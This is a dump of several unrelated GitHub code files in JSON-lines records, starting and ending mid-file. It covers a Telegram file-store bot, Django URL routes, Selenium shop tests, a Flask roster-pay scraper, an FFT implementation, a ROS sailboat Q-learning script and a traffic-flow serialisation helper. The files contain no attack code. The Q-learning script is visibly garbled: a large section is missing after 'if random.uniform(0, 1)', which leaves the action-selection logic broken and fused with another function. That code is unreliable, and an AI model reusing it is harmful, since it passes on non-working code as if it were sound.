= banned_user['ban_status']['ban_reason']\n banned_usr_count += 1\n text += f\"> **user_id**: `{user_id}`, **Ban Duration**: `{ban_duration}`, \" \\\n f\"**Banned on**: `{banned_on}`, **Reason**: `{ban_reason}`\\n\\n\"\n reply_text = f\"Total banned user(s): `{banned_usr_count}`\\n\\n{text}\"\n if len(reply_text) > 4096:\n with open('banned-users.txt', 'w') as f:\n f.write(reply_text)\n await m.reply_document('banned-users.txt', True)\n os.remove('banned-users.txt')\n return\n await m.reply_text(reply_text, True)\n\n\n@Bot.on_message(filters.private & filters.command(\"clear_batch\"))\nasync def clear_user_batch(bot: Client, m: Message):\n MediaList[f\"{str(m.from_user.id)}\"] = []\n await m.reply_text(\"Cleared your batch files successfully!\")\n\n\n@Bot.on_callback_query()\nasync def button(bot: Client, cmd: CallbackQuery):\n\n cb_data = cmd.data\n if \"aboutbot\" in cb_data:\n await cmd.message.edit(\n Config.ABOUT_BOT_TEXT,\n disable_web_page_preview=True,\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\"Source Codes of Bot\",\n url=\"https://github.com/AbirHasan2005/PyroFilesStoreBot\")\n ],\n [\n InlineKeyboardButton(\"Go Home\", callback_data=\"gotohome\"),\n InlineKeyboardButton(\"About Dev\", callback_data=\"aboutdevs\")\n ]\n ]\n )\n )\n\n elif \"aboutdevs\" in cb_data:\n await cmd.message.edit(\n Config.ABOUT_DEV_TEXT,\n disable_web_page_preview=True,\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\"Source Codes of Bot\",\n url=\"https://github.com/AbirHasan2005/PyroFilesStoreBot\")\n ],\n [\n InlineKeyboardButton(\"About Bot\", callback_data=\"aboutbot\"),\n InlineKeyboardButton(\"Go Home\", callback_data=\"gotohome\")\n ]\n ]\n )\n )\n\n elif \"gotohome\" in cb_data:\n await cmd.message.edit(\n Config.HOME_TEXT.format(cmd.message.chat.first_name, cmd.message.chat.id),\n disable_web_page_preview=True,\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\"Support Group\", url=\"https://t.me/JoinOT\"),\n InlineKeyboardButton(\"Bots Channel\", url=\"https://t.me/Discovery_Updates\")\n ],\n [\n InlineKeyboardButton(\"About Bot\", callback_data=\"aboutbot\"),\n InlineKeyboardButton(\"About Dev\", callback_data=\"aboutdevs\")\n ]\n ]\n )\n )\n\n elif \"refreshForceSub\" in cb_data:\n if Config.UPDATES_CHANNEL:\n if Config.UPDATES_CHANNEL.startswith(\"-100\"):\n channel_chat_id = int(Config.UPDATES_CHANNEL)\n else:\n channel_chat_id = Config.UPDATES_CHANNEL\n try:\n user = await bot.get_chat_member(channel_chat_id, cmd.message.chat.id)\n if user.status == \"kicked\":\n await cmd.message.edit(\n text=\"Sorry Sir, You are Banned to use me. Contact my [Support Group](https://t.me/JoinOT).\",\n disable_web_page_preview=True\n )\n return\n except UserNotParticipant:\n invite_link = await get_invite_link(channel_chat_id)\n await cmd.message.edit(\n text=\"**You Still Didn't Join ☹️, Please Join My Updates Channel to use this Bot!**\\n\\n\"\n \"Due to Overload, Only Channel Subscribers can use the Bot!\",\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\"🤖 Join Updates Channel\", url=invite_link.invite_link)\n ],\n [\n InlineKeyboardButton(\"🔄 Refresh 🔄\", callback_data=\"refreshmeh\")\n ]\n ]\n )\n )\n return\n except Exception:\n await cmd.message.edit(\n text=\"Something went Wrong. Contact my [Support Group](https://t.me/JoinOT).\",\n disable_web_page_preview=True\n )\n return\n await cmd.message.edit(\n text=Config.HOME_TEXT.format(cmd.message.chat.first_name, cmd.message.chat.id),\n disable_web_page_preview=True,\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\"Support Group\", url=\"https://t.me/JoinOT\"),\n InlineKeyboardButton(\"Bots Channel\", url=\"https://t.me/Discovery_Updates\")\n ],\n [\n InlineKeyboardButton(\"About Bot\", callback_data=\"aboutbot\"),\n InlineKeyboardButton(\"About Dev\", callback_data=\"aboutdevs\")\n ]\n ]\n )\n )\n\n elif cb_data.startswith(\"ban_user_\"):\n user_id = cb_data.split(\"_\", 2)[-1]\n if Config.UPDATES_CHANNEL is None:\n await cmd.answer(\"Sorry Sir, You didn't Set any Updates Channel!\", show_alert=True)\n return\n if not int(cmd.from_user.id) == Config.BOT_OWNER:\n await cmd.answer(\"You are not allowed to do that!\", show_alert=True)\n return\n try:\n await bot.kick_chat_member(chat_id=int(Config.UPDATES_CHANNEL), user_id=int(user_id))\n await cmd.answer(\"User Banned from Updates Channel!\", show_alert=True)\n except Exception as e:\n await cmd.answer(f\"Can't Ban Him!\\n\\nError: {e}\", show_alert=True)\n\n elif \"addToBatchTrue\" in cb_data:\n if MediaList.get(f\"{str(cmd.from_user.id)}\", None) is None:\n MediaList[f\"{str(cmd.from_user.id)}\"] = []\n file_id = cmd.message.reply_to_message.id\n MediaList[f\"{str(cmd.from_user.id)}\"].append(file_id)\n await cmd.message.edit(\"File Saved in Batch!\\n\\n\"\n \"Press below button to get batch link.\",\n reply_markup=InlineKeyboardMarkup([\n [InlineKeyboardButton(\"Get Batch Link\", callback_data=\"getBatchLink\")],\n [InlineKeyboardButton(\"Close Message\", callback_data=\"closeMessage\")]\n ]))\n\n elif \"addToBatchFalse\" in cb_data:\n await save_media_in_channel(bot, editable=cmd.message, message=cmd.message.reply_to_message)\n\n elif \"getBatchLink\" in cb_data:\n message_ids = MediaList.get(f\"{str(cmd.from_user.id)}\", None)\n if message_ids is None:\n await cmd.answer(\"Batch List Empty!\", show_alert=True)\n return\n await cmd.message.edit(\"Please wait, generating batch link ...\")\n await save_batch_media_in_channel(bot=bot, editable=cmd.message, message_ids=message_ids)\n MediaList[f\"{str(cmd.from_user.id)}\"] = []\n\n elif \"closeMessage\" in cb_data:\n await cmd.message.delete(True)\n\n try:\n await cmd.answer()\n except QueryIdInvalid: pass\n\n\nBot.run()\n","repo_name":"AbirHasan2005/PyroFilesStoreBot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":18094,"program_lang":"python","lang":"en","doc_type":"code","stars":193,"dataset":"github-code","pt":"31"} +{"seq_id":"27013927552","text":"from doc_budy import views\nfrom django.conf.urls import url \n\n\nurlpatterns = [\n url(r'^$',views.indexview.as_view(),name='index'),\n \n url(r'^dashboard/$',views.dashboard.as_view(),name='tableau du bord'),\n url(r'^patient-autocomp/$', views.PatientAutocomp.as_view(), name='patient-autocomp'),\n url(r'^patient/$',views.patientlist.as_view(),name='patient'),\n url(r'^pateint_detail/(?P\\d+)/$',views.pateintdetail.as_view(),name='patient detail'),\n url(r'^patient/new/$',views.create_patient.as_view(),name='new patient'),\n url(r'^patient/(?P\\d+)/edit/$',views.update_patient.as_view(),name='edit patient'),\n url(r'^patient/(?P\\d+)/remove/$',views.patient_remove,name='remove_patient'),\n ##########################################################################################\n url(r'^consultation/$',views.consultationlist.as_view(),name='consultation'),\n url(r'^consultation_detail/(?P\\d+)/$',views.consultationdetail.as_view(),name='consultation detail'),\n url(r'^consultation/new/$',views.create_consultation.as_view(),name='new consultation'),\n url(r'^consultation/(?P\\d+)/edit/$',views.update_consultation.as_view(),name='edit consultation'),\n url(r'^consultation/(?P\\d+)/remove/$',views.consultation_remove,name='remove_consultation'),\n ##########################################################################################\n url(r'^ordonance/$',views.ordonancelist.as_view(),name='ordonance'),\n url(r'^ordonance_detail/(?P\\d+)/$',views.ordonancedetail.as_view(),name='ordonance detail'),\n url(r'^ordonance/new/$',views.create_ordonance.as_view(),name='new ordonance'),\n url(r'^ordonance/(?P\\d+)/edit/$',views.update_ordonance.as_view(),name='edit ordonance'),\n url(r'^ordonance/(?P\\d+)/remove/$',views.ordonance_remove,name='remove_ordonance'),\n ############################################################################################\n url(r'^certificat/$',views.certificatlist.as_view(),name='certificat'),\n url(r'^certificat_detail/(?P\\d+)/$',views.certificatdetail.as_view(),name='certificat detail'),\n url(r'^certificat/new/$',views.create_certificat.as_view(),name='new certificat'),\n url(r'^certificat/(?P\\d+)/edit/$',views.update_certificat.as_view(),name='edit certificat'),\n url(r'^certificat/(?P\\d+)/remove/$',views.certificat_remove,name='remove_certificat'),\n ############################################################################################\n url(r'^rv/$',views.rvlist.as_view(),name='rv'),\n url(r'^rv_detail/(?P\\d+)/$',views.rvdetail.as_view(),name='rv detail'),\n url(r'^rv/new/$',views.create_rv.as_view(),name='new rv'),\n url(r'^rv/(?P\\d+)/edit/$',views.update_rv.as_view(),name='edit rv'),\n url(r'^rv/(?P\\d+)/remove/$',views.rv_remove,name='remove_rv'),\n\n\n\n\n]","repo_name":"UNES97/django-doc-budy","sub_path":"doc_budy/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2859,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"28904338418","text":"import time\n\nimport pytest\n\nfrom .pages.item_page import ItemPage\nfrom .pages.login_page import LoginPage\nfrom .pages.basket_page import BasketPage\n\nlink = 'http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/'\n\nclass TestUserAddToBasketFromItemPage():\n @pytest.fixture(scope='function', autouse=True)\n def setup(self, browser):\n link = 'http://selenium1py.pythonanywhere.com/accounts/login/'\n page = LoginPage(browser, link)\n page.open()\n page.register_new_user(str(time.time()) + '@fakegmail.com', str(time.time()) + '5678')\n page.should_be_authorized_user()\n\n @pytest.mark.need_review\n def test_user_can_add_item_to_basket(self, browser):\n link = f'http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/'\n page = ItemPage(browser, link)\n page.open()\n page.add_to_basket()\n item_name = page.get_item_name()\n page.should_be_success_message(item_name)\n page.should_be_basket_sum_info()\n\n def test_user_cant_see_success_message(self, browser):\n link = 'http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/'\n page = ItemPage(browser, link)\n page.open()\n page.should_not_be_success_message()\n\n\nclass TestGuestItemPageAddToBasket():\n @pytest.mark.need_review\n def test_guest_can_add_item_to_basket(self, browser):\n link = f'http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/'\n page = ItemPage(browser, link)\n page.open()\n page.add_to_basket()\n item_name = page.get_item_name()\n page.should_be_success_message(item_name)\n page.should_be_basket_sum_info()\n\n @pytest.mark.need_review\n def test_guest_can_go_to_login_page_from_item_page(self, browser):\n link = 'http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/'\n page = ItemPage(browser, link)\n page.open()\n page.go_to_login_page()\n login_page = LoginPage(browser, browser.current_url)\n login_page.should_be_login_page()\n\n @pytest.mark.need_review\n def test_guest_cant_see_product_in_basket_opened_from_item_page(self, browser):\n page = ItemPage(browser, link)\n page.open()\n page.go_to_basket()\n basket_page = BasketPage(browser, browser.current_url)\n basket_page.should_be_empty_basket()\n\n @pytest.mark.xfail\n def test_guest_cant_see_success_message_after_adding_product_to_basket(self, browser):\n link = 'http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/'\n page = ItemPage(browser, link)\n page.open()\n page.add_to_basket()\n page.should_not_be_success_message()\n\n @pytest.mark.xfail\n def test_message_disappeared_after_adding_product_to_basket(self, browser):\n link = 'http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/'\n page = ItemPage(browser, link)\n page.open()\n page.add_to_basket()\n page.should_be_disappeared_message()\n\n def test_guest_should_see_login_link_on_item_page(self, browser):\n link = 'http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/'\n page = ItemPage(browser, link)\n page.open()\n page.add_to_basket()\n page.should_be_login_link()\n","repo_name":"Darnvil/stepik_selen_final_task","sub_path":"test_item_page.py","file_name":"test_item_page.py","file_ext":"py","file_size_in_byte":3316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15926662148","text":"from flask import Flask , render_template, request\nfrom datetime import datetime, timedelta\nimport time \nimport requests\nimport re\nfrom bs4 import BeautifulSoup\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef home():\n return render_template(\"index.html\")\n\n@app.route('/', methods=['POST'])\ndef my_form_post():\n try: \n payload={\n 'userId': request.form['username'],\n 'password': request.form['password'],\n 'Cluster_Id':'8'\n }\n data = checkPay(payload)\n return render_template('results.html',data = data)\n except:\n return render_template(\"error.html\")\n\ndef checkPay(payload):\n \n todayDate = datetime.today()\n yesterdayDate = todayDate - timedelta(days=1)\n url1 = \"https://abs.rafflesmedical.com.sg/eroster/Account/Login\"\n\n url2 =\"https://abs.rafflesmedical.com.sg/eroster/Attendance/History?DateFrom={}&DateTo={}\".format(\"01-March-2021\",yesterdayDate.strftime(\"%d-%B-%Y\"))\n\n # Use 'with' to ensure the session context is closed after use.\n with requests.Session() as s:\n p = s.post(url1, data=payload)\n # print the html returned or something more intelligent to see if it's a successful login page.\n r = s.get(url2)\n soup = BeautifulSoup(r.text,\"lxml\")\n # print(workHistory)\n shiftList =[]\n ciList =[]\n coList=[]\n \n for row in soup.find_all(\"li\",class_=\"list-group-item\"):\n if row.text.split('\\n')[4] == \" Pasir Ris Elias\":\n shiftList.append(row.text.split(\"\\n\")[3])\n ciList.append(datetime.strptime(row.text.split(\"\\n\")[10],\"%H:%M\"))\n coList.append(datetime.strptime(row.text.split(\"\\n\")[14],\"%H:%M\"))\n aprilPay=0.0\n mayPay=0\n junePay=0\n julyPay=0\n augPay=0\n sepPay=0\n octPay=0\n novPay=0\n decPay=0\n \n for i in range(len(shiftList)):\n if shiftList[i].split(\" \")[2]==\"Apr\":\n aprilPay+=((((coList[i]-ciList[i])-timedelta(hours=1)).total_seconds()/3600)*13)*.8\n elif shiftList[i].split(\" \")[2]==\"May\":\n mayPay+=((((coList[i]-ciList[i])-timedelta(hours=1)).total_seconds()/3600)*13)*.8\n elif shiftList[i].split(\" \")[2]==\"Jun\":\n junePay+=((((coList[i]-ciList[i])-timedelta(hours=1)).total_seconds()/3600)*13)*.8\n elif shiftList[i].split(\" \")[2]==\"Jul\":\n julyPay+=((((coList[i]-ciList[i])-timedelta(hours=1)).total_seconds()/3600)*13)*.8\n elif shiftList[i].split(\" \")[2]==\"Aug\":\n augPay+=((((coList[i]-ciList[i])-timedelta(hours=1)).total_seconds()/3600)*13)*.8\n elif shiftList[i].split(\" \")[2]==\"Sep\":\n sepPay+=((((coList[i]-ciList[i])-timedelta(hours=1)).total_seconds()/3600)*13)*.8\n elif shiftList[i].split(\" \")[2]==\"Oct\":\n octPay+=((((coList[i]-ciList[i])-timedelta(hours=1)).total_seconds()/3600)*13)*.8\n elif shiftList[i].split(\" \")[2]==\"Nov\":\n novPay+=((((coList[i]-ciList[i])-timedelta(hours=1)).total_seconds()/3600)*13)*.8\n elif shiftList[i].split(\" \")[2]==\"Dec\":\n decPay+=((((coList[i]-ciList[i])-timedelta(hours=1)).total_seconds()/3600)*13)*.8\n\n\n \n returnVal ={\"username\":payload.get(\"userId\"),\n \"aprilPay\": aprilPay,\n \"mayPay\": mayPay,\n \"junePay\":junePay,\n \"julyPay\":julyPay,\n \"augPay\": augPay,\n \"sepPay\": sepPay,\n \"octPay\":octPay,\n \"novPay\":novPay,\n \"decPay\": decPay}\n return returnVal\n","repo_name":"harithmdnoor/rmgCheckPay","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"45111682567","text":"#!/usr/bin/env python2\n\nimport numpy as np\nfrom random import randint\nimport random\nfrom math import *\nimport copy\nimport rospy\nfrom geometry_msgs.msg import Vector3\nfrom geometry_msgs.msg import Point\nfrom geometry_msgs.msg import Quaternion\nfrom tf.transformations import euler_from_quaternion\nimport pickle \n\nclass Boatareascan():\n \"\"\"\n Boat\n \"\"\"\n nbAreaScan=0\n step=False\n def __init__(self, posx, posy, initOri, psi_w):\n self.state=(posx, posy)\n self.next_state=(0.0, 0.0)\n self.orientation=initOri\n self.psi_wind=psi_w\n self.reward=0\n self.initState=(posx, posy)\n self.theta=[0, 0.78, 1.57, 2.35, 3.14, 3.92, 4.71, 5.50]\n self.Q_table={}\n for j in range(20):\n for i in range(20):\n c=(-50.0+i*5.0+5.0/2.0, 50.0-j*5.0-5.0/2.0)\n self.Q_table[c]=np.zeros(8)\n\n self.myPointValide=[]\n self.orient=initOri\n self.negat_reward=0\n #self.boxScan1=0\n #self.boxScan2=0\n #self.boxScan3=0\n Boatareascan.nbAreaScan+=1\n\n\n def reset(self):\n \"\"\"\n Reset\n \"\"\"\n self.state=(self.initState[0], self.initState[1])\n self.myPointValide[:]=[]\n self.orientation=self.orient\n #self.boxScan1=0\n #self.boxScan2=0\n #self.boxScan3=0\n Boatareascan.nbAreaScan+=1\n Boatareascan.step=False\n self.reward=0\n self.negat_reward=0\n\n\n def take_action(self, eps):\n act_possible=[x for x in range(8)]\n Direct_no_poss=[]\n for i in range(8):\n if cos(self.orientation-self.theta[i])<0: \n act_possible.remove(i)\n Direct_no_poss.append(i)\n if random.uniform(0, 1)0:\n return 1\n else:\n return -1\n\ndef norme(a):\n return sqrt(a[0]**2+a[1]**2)\n\ndef prod_scal(a,b):\n return a[0]*b[0]+a[1]*b[1]\n\ndef point_attract(m, theta, psi_w, a):\n vect=-2*(m-a)\n theta_bar=angle(vect)\n\n if cos(theta-theta_bar)>=0:\n ur=urmax*sin(theta-theta_bar)\n \n else:\n ur=urmax*sign(sin(theta-theta_bar))\n\n\n us=(pi/4)*(cos(psi_w-theta_bar)+1)\n\n return ur, us\n\ndef controler_line(m, theta, psi_w, a, b, q):\n nor=norme(b-a)\n e=((b-a)[0]*(m-a)[1]-(b-a)[1]*(m-a)[0])/nor\n phi=angle(b-a)\n theta_bar=phi-2*Gamma*atan(e/r)/pi\n if fabs(e)>r/2:\n q=sign(e)\n\n if (cos(psi_w-theta_bar)+cos(zeta))<0 or (fabs(e)=0:\n ur=urmax*sin(theta-theta_bar)\n\n else:\n ur=urmax*sign(sin(theta-theta_bar))\n\n us=(pi/4)*(cos(psi_w-theta_bar)+1)\n\n return ur, us, q\n\n\n\ndef pose1callback(data):\n global m1\n m1[0]=data.x\n m1[1]=data.y\n\ndef pose2callback(data):\n global m2\n m2[0]=data.x\n m2[1]=data.y\n\ndef pose3callback(data):\n global m3\n m3[0]=data.x\n m3[1]=data.y\n\ndef pose4callback(data):\n global m4\n m4[0]=data.x\n m4[1]=data.y\n\ndef head1callback(data):\n global q_sail1\n q_sail1=(data.x, data.y, data.z, data.w)\n\ndef head2callback(data):\n global q_sail2\n q_sail2=(data.x, data.y, data.z, data.w)\n\ndef head3callback(data):\n global q_sail3\n q_sail3=(data.x, data.y, data.z, data.w)\n\ndef head4callback(data):\n global q_sail4\n q_sail4=(data.x, data.y, data.z, data.w)\n\ndef windcallback(data):\n global q_wind\n q_wind=(data.x, data.y, data.z, data.w)\n\ndef main():\n rospy.init_node('node_renf_learn')\n rospy.Subscriber(\"boat1_pose\", Point, pose1callback)\n rospy.Subscriber(\"boat2_pose\", Point, pose2callback)\n rospy.Subscriber(\"boat3_pose\", Point, pose3callback)\n rospy.Subscriber(\"boat4_pose\", Point, pose4callback)\n rospy.Subscriber(\"heading_boat1\", Quaternion, head1callback)\n rospy.Subscriber(\"heading_boat2\", Quaternion, head2callback)\n rospy.Subscriber(\"heading_boat3\", Quaternion, head3callback)\n rospy.Subscriber(\"heading_boat4\", Quaternion, head4callback)\n rospy.Subscriber(\"wind_angle\", Quaternion, windcallback)\n com_servo1=rospy.Publisher(\"actuators1\", Vector3, queue_size=10)\n com_servo2=rospy.Publisher(\"actuators2\", Vector3, queue_size=10)\n com_servo3=rospy.Publisher(\"actuators3\", Vector3, queue_size=10)\n com_servo4=rospy.Publisher(\"actuators4\", Vector3, queue_size=10)\n pub_valid1=rospy.Publisher(\"center_point1\", Vector3, queue_size=10)\n pub_valid2=rospy.Publisher(\"center_point2\", Vector3, queue_size=10)\n pub_valid3=rospy.Publisher(\"center_point3\", Vector3, queue_size=10)\n pub_valid4=rospy.Publisher(\"center_point4\", Vector3, queue_size=10)\n\n q1, q2, q3, q4=1, 1, 1, 1\n v=[]\n for j in range(20):\n for i in range(20):\n v.append(np.array([-50.0+i*5.0+5.0/2.0, 50.0-j*5.0-5.0/2.0]))\n rate = rospy.Rate(100)\n t0=rospy.get_time()\n while not rospy.is_shutdown():\n msg1, msg2, msg3, msg4=Vector3(), Vector3(), Vector3(), Vector3()\n msgCenter1, msgCenter2, msgCenter3, msgCenter4=Point(), Point(), Point(), Point()\n\n #rospy.loginfo(\"Good morning\")\n theta1=euler_from_quaternion(q_sail1)[2]\n theta2=euler_from_quaternion(q_sail2)[2]\n theta3=euler_from_quaternion(q_sail3)[2]\n theta4=euler_from_quaternion(q_sail4)[2]\n\n tf=rospy.get_time()\n\n if tf-t0<0.3:\n rospy.loginfo(\"Do anything\")\n else:\n\n act1=boat1.take_action(0.0)\n act2=boat2.take_action(0.0)\n act3=boat3.take_action(0.0)\n act4=boat4.take_action(0.0)\n\n boat1.getState(act1)\n boat2.getState(act2)\n boat3.getState(act3)\n boat4.getState(act4)\n\n a1=np.array(boat1.state)\n a2=np.array(boat2.state)\n a3=np.array(boat3.state)\n a4=np.array(boat4.state)\n\n b1=np.array(boat1.next_state)\n b2=np.array(boat2.next_state)\n b3=np.array(boat3.next_state)\n b4=np.array(boat4.next_state)\n\n ur1, us1, q1=controler_line(m1, theta1, psi_w, a1, b1, q1)\n ur2, us2, q2=controler_line(m2, theta2, psi_w, a2, b2, q2)\n ur3, us3, q3=controler_line(m3, theta3, psi_w, a3, b3, q3)\n ur4, us4, q4=controler_line(m4, theta4, psi_w, a4, b4, q4)\n\n\n if prod_scal(b1-a1,b1-m1)<0:\n boat1.state=boat1.next_state\n\n if prod_scal(b2-a2,b2-m2)<0:\n boat2.state=boat2.next_state\n\n if prod_scal(b3-a3,b3-m3)<0:\n boat3.state=boat3.next_state\n\n if prod_scal(b4-a4,b4-m4)<0:\n boat4.state=boat4.next_state\n\n for i in range(len(v)):\n if norme(m1-v[i])<2.:\n msgCenter1.x=v[i][0]\n msgCenter1.y=v[i][1]\n msgCenter1.z=1.0\n pub_valid1.publish(msgCenter1)\n #removearray(v, v[i])\n if norme(m2-v[i])<2.:\n msgCenter2.x=v[i][0]\n msgCenter2.y=v[i][1]\n msgCenter2.z=2.0\n pub_valid2.publish(msgCenter2)\n #removearray(v, v[i])\n if norme(m3-v[i])<2.:\n msgCenter3.x=v[i][0]\n msgCenter3.y=v[i][1]\n msgCenter3.z=3.0\n pub_valid3.publish(msgCenter3)\n #removearray(v, v[i])\n if norme(m4-v[i])<2.:\n msgCenter4.x=v[i][0]\n msgCenter4.y=v[i][1]\n msgCenter4.z=4.0\n pub_valid4.publish(msgCenter4)\n #sremovearray(v, v[i])\n\n msg1.x, msg1.y=ur1, us1\n msg2.x, msg2.y=ur2, us2\n msg3.x, msg3.y=ur3, us3\n msg4.x, msg4.y=ur4, us4\n com_servo1.publish(msg1)\n com_servo2.publish(msg2)\n com_servo3.publish(msg3)\n com_servo4.publish(msg4)\n rate.sleep()\n\n \nif __name__ == '__main__':\n m1, m2, m3, m4=np.array([0,0]), np.array([0,0]), np.array([0,0]), np.array([0,0])\n q_sail1, q_sail2, q_sail3, q_sail4=(0,0,0,0), (0,0,0,0), (0,0,0,0), (0,0,0,0)\n q_wind=(0,0,0,0)\n psi_w=euler_from_quaternion(q_wind)[2]\n zeta, Gamma=pi/6, pi/4\n urmax=pi/4\n trainable=False\n \n r=2\n boat1=Boatareascan(-47.5, 47.5, -1.57, 0.0)\n boat2=Boatareascan(47.5, 47.5, -1.57, 0.0)\n boat3=Boatareascan(-47.5, -47.5, 1.57, 0.0)\n boat4=Boatareascan(47.5, -47.5, 1.57, 0.0)\n\n #print(\"number of box scan=\", boat1.nbAreaScan)\n if trainable:\n eps=1.0\n M=[boat1.myPointValide, boat2.myPointValide, boat3.myPointValide, boat4.myPointValide]\n for _ in range(10000):\n \n while True:\n #print(\"For the boat 1\")\n boat1.train(eps, M)\n #print(\"--------------------------------------\")\n #print(\"--------------------------------------\")\n if boat1.step:\n #print(\"number of box scan=\", boat1.nbAreaScan)\n break\n #print(\"for the boat 2\")\n boat2.train(eps, M)\n #print(\"--------------------------------------\")\n #print(\"--------------------------------------\")\n if boat2.step:\n #print(\"number of box scan=\", boat1.nbAreaScan)\n break\n #print(\"for the boat 3\")\n boat3.train(eps, M)\n #print(\"--------------------------------------\")\n #print(\"--------------------------------------\")\n if boat3.step:\n #print(\"number of box scan=\", boat1.nbAreaScan)\n break\n #print(\"for the boat 4\")\n boat4.train(eps, M)\n #print(\"--------------------------------------\")\n #print(\"--------------------------------------\")\n if boat4.step:\n #print(\"number of box scan=\", boat1.nbAreaScan)\n break\n #print(\"number of box scan=\", boat1.nbAreaScan)\n\n print(\"new train\")\n eps=max(0.1, eps*0.96)\n #print(\"M=\", M)\n boat1.reset()\n boat2.reset()\n boat3.reset()\n boat4.reset()\n print(\"--------------------------------------\")\n print(\"--------------------------------------\")\n print(\"number of box scan=\", boat1.nbAreaScan)\n \n with open('/home/dembele/Workspace_Internship/devel/lib/sailboat/qtable', 'wb') as f:\n my_pickler = pickle.Pickler(f)\n my_pickler.dump(boat1.Q_table)\n my_pickler.dump(boat2.Q_table)\n my_pickler.dump(boat3.Q_table)\n my_pickler.dump(boat4.Q_table)\n f.close()\n\n else:\n with open('/home/dembele/Workspace_Internship/devel/lib/sailboat/qtable', 'rb') as f:\n my_depickler = pickle.Unpickler(f)\n boat1.Q_table=my_depickler.load()\n boat2.Q_table=my_depickler.load()\n boat3.Q_table=my_depickler.load()\n boat4.Q_table=my_depickler.load()\n f.close()\n print(\"boat1=\", boat1.Q_table[(-47.5, 47.5)])\n print(\"boat2=\", boat2.Q_table[(47.5, 47.5)])\n print(\"boat3=\", boat3.Q_table[(-47.5, -47.5)])\n print(\"boat4=\", boat4.Q_table[(47.5, -47.5)])\n\n main()\n\n","repo_name":"mamadouDembele/sailboat","sub_path":"src/mission/qlearning.py","file_name":"qlearning.py","file_ext":"py","file_size_in_byte":17045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16493480039","text":"import json\n\nimport numpy as np\n\n\ndef byte2array(byte_data: bytes) -> np.ndarray:\n \"\"\"\n 将字节流转化成 numpy 的 Array\n :param byte_data: 字节流\n :return: 数组\n \"\"\"\n json_data = json.loads(byte_data.decode())\n vertices_num = len(json_data)\n flow_mat = np.zeros(shape=(1, vertices_num, 12))\n for i in range(vertices_num):\n for j in range(12):\n flow_mat[0, i, j] = json_data[str(i)][j]\n\n return np.expand_dims(flow_mat, axis=2)\n\n\ndef array2byte(flow_mat: np.ndarray) -> bytes:\n \"\"\"\n Numpy 中的 Array 转化为字节流\n :param flow_mat: 流量数组\n :return: 字节流\n \"\"\"\n json_dict = {}\n flow_mat = flow_mat.astype(np.float64)\n _, vertices_num, step_num = flow_mat.shape\n\n # 初始化\n for i in range(vertices_num):\n json_dict[i] = []\n\n for i in range(vertices_num):\n for j in range(step_num):\n json_dict[i].append(flow_mat[0, i, j])\n\n return json.dumps(\n json_dict\n ).encode()\n","repo_name":"wangy-thu/highway-flow-forecast","sub_path":"utils/protocol.py","file_name":"protocol.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"70972603928","text":"import pathlib\nimport sys\n\ntry:\n if str(pathlib.Path.cwd()).split('\\\\')[-1] != 'src':\n raise ImportError\nexcept ImportError:\n print((f\"current path -> {pathlib.Path.cwd()}\"))\n print(\"File has to be run from cs5100.project_code.src\")\n sys.exit(-1)\n\nimport matplotlib.pyplot as plt\nimport time\nimport numpy as np\n\n\ndef timer(p, function, print_line=False):\n start = time.time()\n if print_line:\n print(function(p))\n else:\n function(p)\n return time.time() - start\n\n\ndef fft_recur(arr, w, n):\n if n == 1:\n return arr\n # splits into even and odds\n even = arr[0::2]\n odd = arr[1::2]\n # square omega terms.\n # assumes it is type ndarray\n w2 = w*w\n sol_even = fft_recur(even, w2, n // 2)\n sol_odd = fft_recur(odd, w2, n // 2)\n pos = [sol_even[i] + w[i]*sol_odd[i] for i in range(n//2)]\n neg = [sol_even[i] - w[i]*sol_odd[i] for i in range(n//2)]\n solution = pos + neg\n return solution\n\n\ndef fft_helper(arr):\n l = len(arr)\n return fft_recur(arr, gen_omegas(l), l)\n\n\ndef fft_inter(p, w, n):\n logn = np.int(np.log2(n))\n cache = np.full((logn + 1, n), np.complex)\n\n # reverse bit shuffle\n for i in range(n):\n cache[0, i] = np.complex(p[rbs(i, logn)])\n\n # fill in cache from base case row up\n for i in range(1, logn + 1):\n\n # squares the imaginary roots enough to mimic recursion\n omegas = w\n for s in range(logn - i):\n omegas = np.power(omegas, 2)\n\n # fills in cache side to side\n size = 1 << i\n for j in range(0, n, size):\n idx = 0\n for k in range(size // 2):\n cache[i][j + k] = cache[i - 1][j + k] + omegas[idx] * cache[i - 1][j + k + size // 2]\n cache[i][j + size // 2 + k] = cache[i - 1][j + k] - omegas[idx] * cache[i - 1][j + k + size // 2]\n idx += 1\n\n return cache[logn]\n\n\n# generates the omegas for the fft algorithm\ndef gen_omegas(n, sign=-1):\n return np.array([complex(np.cos(2*np.pi*i/n), sign * np.sin(2*np.pi*i/n)) for i in range(0, n)])\n\n\n# reverse bit shuffle\ndef rbs(i: int, logn: int):\n N = 1 << logn\n iter = i\n for j in range(1, logn):\n i >>= 1\n iter <<= 1\n iter |= (i & 1)\n iter &= N-1\n return iter\n\n# adds buffer so that length of arr is a factor of 2. i.e. len(arr) % 